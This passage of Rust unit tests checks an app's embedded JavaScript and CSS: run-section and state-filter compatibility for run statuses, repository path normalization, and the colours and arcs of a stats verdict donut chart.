16358        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16359        for entry in shapes_src.split('{').skip(1) {
16360            let waiting = entry.contains("waiting: true");
16361            let dead = entry.contains("live: \"dead\"");
16362            let status_at =
16363                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16364            let status_end = entry[status_at..]
16365                .find('"')
16366                .expect("the status string is closed")
16367                + status_at;
16368            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16369        }
16370        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16371
16372        // The done rule itself (`!["implementing"].includes(shape.status)`),
16373        // read out of the source rather than hardcoded, so a renamed
16374        // in-flight status can't silently make every parsed shape "done".
16375        let done_rule_marker = "done: !";
16376        let done_rule_at = APP_JS[shapes_close..]
16377            .find(done_rule_marker)
16378            .expect("the done rule follows the shape list")
16379            + shapes_close
16380            + done_rule_marker.len();
16381        let includes_at = APP_JS[done_rule_at..]
16382            .find(".includes(shape.status)")
16383            .expect("the done rule ends in .includes(shape.status)")
16384            + done_rule_at;
16385        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16386            .trim()
16387            .trim_start_matches('[')
16388            .trim_end_matches(']')
16389            .split(',')
16390            .map(|s| s.trim().trim_matches('"'))
16391            .filter(|s| !s.is_empty())
16392            .collect();
16393
16394        let shapes: Vec<(bool, String, bool, bool)> = shapes
16395            .into_iter()
16396            .map(|(waiting, status, dead)| {
16397                let done = !not_done.contains(&status.as_str());
16398                (waiting, status, dead, done)
16399            })
16400            .collect();
16401
16402        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
16403        // outright, then merged/ready land, stalled/blocked/failed/
16404        // verified_noop end, and everything else is still in flight.
16405        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16406            if waiting {
16407                return "waiting";
16408            }
16409            if dead
16410                && !matches!(
16411                    status,
16412                    "merged"
16413                        | "ready"
16414                        | "stalled"
16415                        | "blocked"
16416                        | "failed"
16417                        | "verified_noop"
16418                        | "superseded"
16419                        | "already_in_base"
16420                )
16421            {
16422                return "stale";
16423            }
16424            match status {
16425                "merged" | "ready" => "landed",
16426                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16427                | "already_in_base" => "ended",
16428                _ => "flight",
16429            }
16430        }
16431
16432        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
16433        // way.
16434        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16435            match filter_key {
16436                "active" => !done,
16437                "flight" => !done && !waiting && !dead,
16438                "stale" => !done && !waiting && dead,
16439                "waiting" => waiting,
16440                "done" => done,
16441                "all" => true,
16442                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16443            }
16444        }
16445
16446        let compatible = |section: &str, filter_key: &str| {
16447            shapes.iter().any(|(waiting, status, dead, done)| {
16448                run_section(*waiting, status, *dead) == section
16449                    && filter_matches(filter_key, *waiting, *dead, *done)
16450            })
16451        };
16452
16453        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
16454        // (active, flight, stale, waiting, done, all) - hand-derived from the
16455        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
16456        // currently contains.
16457        let expected = [
16458            ("waiting", [true, false, false, true, true, true]),
16459            ("stale", [true, false, true, false, false, true]),
16460            ("flight", [true, true, false, false, false, true]),
16461            ("landed", [false, false, false, false, true, true]),
16462            ("ended", [false, false, false, false, true, true]),
16463        ];
16464        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16465
16466        for (section, wants) in expected {
16467            for (filter_key, want) in filter_keys.iter().zip(wants) {
16468                assert_eq!(
16469                    compatible(section, filter_key),
16470                    want,
16471                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16472                );
16473            }
16474        }
16475
16476        // The compatibility check exists only to be acted on: both pickers
16477        // must actually consult it rather than just render its answer.
16478        assert!(
16479            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16480        );
16481        assert!(APP_JS.contains(
16482            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16483        ));
16484        assert!(APP_JS.contains(
16485            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16486        ));
16487    }
16488
16489    #[tokio::test]
16490    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16491        // An operator-named directory - git checkout or not - is never
16492        // second-guessed, even when it does not exist at all: only the
16493        // flag's own unmodified `.` default is ever eligible for discovery.
16494        let dir = tempfile::tempdir().expect("tempdir");
16495        let explicit = dir.path().join("not-a-checkout");
16496        std::fs::create_dir_all(&explicit).expect("create dir");
16497        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16498
16499        let missing = dir.path().join("does-not-exist-at-all");
16500        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16501    }
16502
16503    #[test]
16504    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16505        assert!(APP_JS.contains("function statsDonutArcs"));
16506        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16507        // A bucket click filters by the statuses src/stats.rs counts in it.
16508        assert!(APP_JS.contains("function statusInBucket"));
16509        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16510        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16511        let buckets = [
16512            "merged",
16513            "ready",
16514            "in_progress",
16515            "blocked",
16516            "failed",
16517            "verified_noop",
16518            "superseded",
16519            "stalled",
16520        ];
16521        for key in buckets {
16522            let var = format!("--verdict-{key}:");
16523            // Light, OS-dark and pinned-dark blocks each define it.
16524            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16525            assert!(
16526                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16527                "{key}"
16528            );
16529        }
16530    }
16531}